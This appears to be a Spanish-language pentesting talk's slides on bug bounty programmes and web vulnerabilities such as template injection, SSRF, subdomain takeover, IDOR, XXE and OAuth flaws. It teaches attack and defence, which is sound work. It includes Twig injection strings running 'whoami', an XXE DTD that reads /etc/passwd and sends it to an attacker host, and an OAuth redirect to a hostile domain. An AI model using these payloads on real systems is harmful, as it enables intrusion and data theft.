net. Web App hunting {{_self.env.getFilter("whoami")}} {{_self.env.getFilter("whoami")}} Por: R. Alexis Torres Pardo Offensive Security Certified Professional OSCP, C)PTE, C)PTC, C)SWAE Official Instructor: Mile2 Pentester Senior in Open Sec (Crowsourced Pentester) @lu4m75
net. Web App hunting Bug Bounty vs Crowsourced Bug Bounty vs Crowsourced pentesting pentesting vs traditional pentesting vs traditional pentesting • El nuevo enfoque moderno de desarrollo de software como desarrollo ágil y Devops, al tener una constante evolución y lanzamientos frecuentes(sprint), crean una problemática que podria ser crítica a los equipos de seguridad internos, ya que se les hace dificil mantener un ritmo adecuado a evaluar sus aplicaciones. • Bajo esta necesidad y sumado a la existencia de programa de recompensas (bug bounty) surge el termino crowsourced pentesting.
net. Web App hunting ¿Que es Bug bounty? ¿Que es Bug bounty? • Es un programa de recompensa por encontrar vulnerabilidades o errores. • El primero en reportar un bug tendra acceso a un mejor posicionamiento en un ranking y recibe un monto.
net. Web App hunting Crowdsourced pentesting Crowdsourced pentesting • Es una prueba de pentesting, realizado por una gran cantidad de especialistas “calificados” en vez que consultores dedicados. • Esto permite unir a los mejores equipos con enfoque tradicional en pentesting y a los mejores talentos de los programas de recompensas (bug bounty). • Se sigue las metodologías tradicionales de evaluación, con expertos, en tiempos limites y una respuesta inmediata antes un hallazgo (bug).
net. Web App hunting Mitos sobre bug bounty Mitos sobre bug bounty • Todos los bug bounty son solo públicos – Falso, muchos programas privados (crowsourced pentesting). • ¿Realmente es seguro, muchos pentesters atrás de un objetivo? – Se sigue un conjunto de reglas y conducta, asi como existen penas, sino se confia en esto queda el bug bounty privado. • Tu no puedes confiar en los “hackers” • No se tiene la misma calidad que un pentester
net. Web App hunting Template injection Template injection • Los “template” permiten el rápido desarrollo de páginas web. • La vulnerabilidad se presenta como mala configuración en la entrada de datos. • Posiblemente confundido con XSS, pero esta mala configuración permite interactuar con el sistema.
net. Web App hunting Template injection Template injection • Las aplicaciones suelen usar template como twig y freemaker para permitir contenido dinámico en las paginas web o correos electrónicos. • Consideremos una campaña de correos masivos, donde al saludar a los destinarios sea por su nombre: – $output = $twig->render("Dear {first_name},", array("first_name" => $user.first_name) ); • Pero que pasaria si a estos usuarios se permite customizar su correo:
net. Web App hunting Template injection Template injection • Al permitir al usuario customizar su correo a través del parámetro “custom_emails” en modo GET, el primer síntoma de esta vulnerabilidad sera el XSS. • Modifiquemos la entrada de esos datos con el siguiente parámetro: – custom_email={{9*9}} – Resultado = 81 • Ahora validemos con el siguiente parámetro: – custom_email={{_self}}
net. Web App hunting Tipos de template injection Tipos de template injection caso angular.js caso angular.js • Server side template injection: • Client side template injection:
net. Web App hunting SSRF SSRF • Server side Request Forgery, es una vulnerabilidad debido a una funcionalidad implementada para importar datos desde una URL. • El atacante modifica esta funcionalidad para escanear dispositivos internos, puertos, realizar ataques a través de la cabecera http a equipos internos como, sqli, heartbleed, xxe, shellchock
net. Web App hunting Subdomain takeover Subdomain takeover • Se produce cuando un subdominio es tomado por el atacante. • Esta vulnerabilidad es producida por una configuración en el CNAME DNS record en la zona de delegación de alias, principalmente en soluciones de tipo “cloud”.
net. Web App hunting Subdomain takeover Subdomain takeover Escenario Escenario • Imaginemos que nuestro dominio primario es “nuevomundo.com” en el cual deseas implementar un negocio de e-comerce, sobre un servicio en la nube: nuevomundo- comerce.servicionube.com, esto no provee una buena vista, asi que deseas asignarle una alias: “comerce.nuevomundo.com” • Para realizar esta tarea hay 2 opciones: – Realizar un redirect 302, para pasar de: • comerce.nuevomundo.com nuevomundo- → comerce.servicionube.com
net. Web App hunting Subdomain takeover Subdomain takeover Escenario(2) Escenario(2) • Tomando la solución 2, el negocio no funciona y tu decides retirar este tipo de negocio y cancelas la subscripción de la plataforma ecomerce. • En ese momento ocurre la vulnerabilidad, ya que al olvidar borrar el CNAME record en tu zona de archivos, alguien podria registrar lo en la misma plataforma de e-comerce, tomando tu alias original “comerce.nuevomundo.com”
net. Web App hunting Subdomain takeover Subdomain takeover Caso práctico Caso práctico • Esta vulnerabilidad no se limita a e-comerce sino también a soluciones en la nube como el caso de Amazon o Microsoft Azure • Creamos una distribución, el cual generará un dominio en random: – “d2erlblaho6777.cloudfront.net” hackeado.open-sec.com. 600 IN CNAME d2erlblaho6777.cloudfront.net
net. Web App hunting Subdomain takeover Subdomain takeover Caso Real Caso Real • Algunos ataques relacionados: – Bounty paid: $500 • Defacement a website de Trump • Vine.co • Greenhouse.com • Uber.com
net. Web App hunting IDORS IDORS Insecure Direct Object Reference Insecure Direct Object Reference • En la mayoría de aplicaciones se puede encontrar parámetros como id, uid, pid, gid, etc, los cuales hacen referencia a distintas funcionalidad propias de la aplicación. • El mal manejo de la autenticación y autorización, puede generar que estos parámetros, permitan ser alterados para obtener, modificar o borrar datos de otros usuarios.
net. Web App hunting IDOR IDOR • Ingresamos como el usuario “alexis” y para observar el perfil de este usuario, lo realizamos a través del siguiente url: – http://vulnerable.com/profile?userID=21 – Se obtiene: • User: alexis / profile: invitados • Ya logeados, modificamos el parámetro “userID” por el valor : 1, obtenemos: – http://vulnerable.com/profile?userID=1 – Se obtiene:
net. Web App hunting XXE XXE XML external entity XML external entity • El ataque se realiza con alguna aplicación que parsea una entrada en XML. • Esta vulnerabilidad ocurre cuando una entrada en xml hace referencia hacia una entidad externa y luego procesa esta entrada debido a una falla en configuración (XML entities) • El atacante podría obtener información sensible, DoS, SSRF y otro impacto hasta a nivel de sistema.
net. Web App hunting XXE XXE • DTD – Document type Definition, permite definir una extructura en XML – Permite interpretar estas declaraciones: • !DOCTYPE note, !ELEMENT note, !ELEMENT to , ! ELEMENT from .. • External DTD – Si el DTD es externo, debe contener <!DOCTYPE> donde se hace referencia al archivo: <?xml version="1.0"?> <!DOCTYPE note SYSTEM "note.dtd">
net. Web App hunting XXE XXE • El servidor remoto tendrá el siguiente archivo malicioso que sera parseado. <!ENTITY % p1 SYSTEM "file:///etc/passwd"> <!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://DevilEntityExternal:9000/BLAH?%p1;'>"> %p2;
net. Web App hunting XXE XXE atacante pwnd evil.dtd Cabecera http modificada con entrada de datos: !DOCTYPE foo SYSTEM http://192.168.0.109:8082/evil.dtd Servidor de atacante con el puerto 8082, tiene el archivo dtd Pero en el puerto 8081 trae a la variable “BLAH” la información lograda /etc/passwd http://192.168.0.109:8081/BLAH?</etc/passwd> http://192.168.0.120/log 1 2 3 4 8082
net. Web App hunting XXE XXE • Podemos determinar que intena procesar un archivo xml cambiando el “Content-type” por text/xml, el cual al arroja un valor en cabecera http: 400(bad request)
net. Web App hunting Oauth Oauth • Estandar de delegación de accesos, NO es de autenticación, no es Auth0. • No es un protocolo, es un framework • ¿Por qué el Oauth 2.0? – Es mas fácil de usar e implementar que Oauth 1.0 – Usa token, con corta tiempo de vida y permite encapsularlos • Oauth 2.0, no tiene soporte a firmas, ni cifrado, solo se basa en canales SSL y TLS, es decir no fue implementado con alguna
net. Web App hunting Oauth Oauth (flujo cliente en browser) (flujo cliente en browser) Perfil de lu4m Via browser www.ofertatop.pe 2 )Logeate y autoriza 3 ) Aqui va el token de acceso 1)Deseo código de authorización 4 ) Dame el perfil de alexis, aquí esta el token de acceso Servidor de autorizacion Datos protegidos
net. Web App hunting Oauth Oauth (flujo mobile app) (flujo mobile app) Perfil de lu4m www.ofertatop.pe 1 ) Deseo Código De authz 2 ) ofertatop desea un cod autorización 3 )Logeate y autoriza 4 )Aqui esta el código de authz 5 ) Intercambio de cod Auth por token de acceso 6 ) Aqui va el token 7 ) Dame el perfil de alexis, aquí esta el token de acceso Servidor de autorizacion Datos protegidos
net. Web App hunting Oauth Oauth 2 ) Ofertatop desea un cod authz GET /v2.0/dialog/oauth? response_type=code&client_id=155236551212062& redirect_uri=https%3A%2F%2Fwww.ofertatop.pe %2Fcallback&scope=profile&state=f6da3719e43d8b fe66af8d1753be1b30 HTTP/1.1 4) Aqui esta el código de autorización: HTTP/1.1 302 found Location: https://www.ofertatop.pe/callback?
net. Web App hunting Oauth Oauth vulnerabilidad vulnerabilidad GET /v2.0/dialog/oauth? response_type=code&client_id=155236551212062& redirect_uri=https%3A%2F%2Fwww.ofertatop.pe %2Fcallback&scope=profile&state=f6da3719e43d8b fe66af8d1753be1b30 HTTP/1.1 – Datos importantes: • redirect_uri = le indica a facebook, donde volver despues despues que tu permites al sitio acceder a tu información definida en el “scope” • response_type= le dices a facebook que tu deseas obtener un código o un token, si llamas a la opción
net. Web App hunting Oauth Oauth ¿Como validar si es seguro? ¿Como validar si es seguro? • Después de autorizado al sitio web que obtenga un recurso, todo el proceso posterior se realizara sin interacción de usuario original • Como primer objetivo, podriamos usar este mecanismo para pedir tokens y acceder como si fueramos “el usuario original” logrando obtener los datos definidos en el “scope” • Entonces para probar esta vulnerabilidad podriamos modificar el “response_type” y validar si se retorna un token de acceso y si es asi, podemos ahora modificar el “redirect_uri”
net. Web App hunting Oauth Oauth Open redirect Open redirect • https://graph.facebook.com/oauth/authorize? client_id=213814055461514&redirect_uri=https %3A%2F%2Fgist.github.com%2Fauth %2Ffacebook%2Fcallback&response_type=code • https://graph.facebook.com/oauth/authorize? client_id=213814055461514&redirect_uri=http: //www.ataque.com/&response_type=code • También encontrado en github y microsoft.
net. Web App hunting Oauth Oauth CSRF CSRF • El escenario se presenta, ante la no existencia o mala configuración de un token para prevenir un CSRF • Cuando un usuario previamente logeado, válida su token de sesión en su cookie. • El CSRF va a permitir eludir la interacción del usuarios con el proceso Oauth. • En un flujo normal de Oauth, después de que el usuario gana acceso, el server le retonar un código de acceso, el cual puede tener un gran rango de permisos.
net. Web App hunting Oauth Oauth CSRF - Caso real CSRF - Caso real • Estas condicionantes se presentaron para el caso de microsoft con sus servicios en linea como “Microsoft Account”:
net. Web App hunting Xpath injection Xpath injection • Xpath: – Es un lenguaje que permite construir expresiones que recorren y procesan un documento XML. La idea es parecida a las expresiones regulares para seleccionar partes de un texto sin atributos (plain text). XPath permite buscar y seleccionar teniendo en cuenta la estructura jerárquica del XML • wikipedia
net. Web App hunting Xpath injection Xpath injection • Similar a sqli, esta injección ocurre cuando el sitio web construye su información bajo consultas XPATH, donde un usuario malintecionado envia una consulta con la cual podria a acceder a datos no autorizados y hasta elevar privilegios en la aplicación web
net. Web App hunting Otras vulnerabilidades Otras vulnerabilidades • HTTP pollution • CRLF injection (%0D%0A = \r\n) – HTTP Request Smuggling – HTTP spliting • OPEN redirection, no es un bug, es una caracteristica no habitual • Lógica en la aplicación • Si no es funcional una SQLi, command injection sigue sus pasos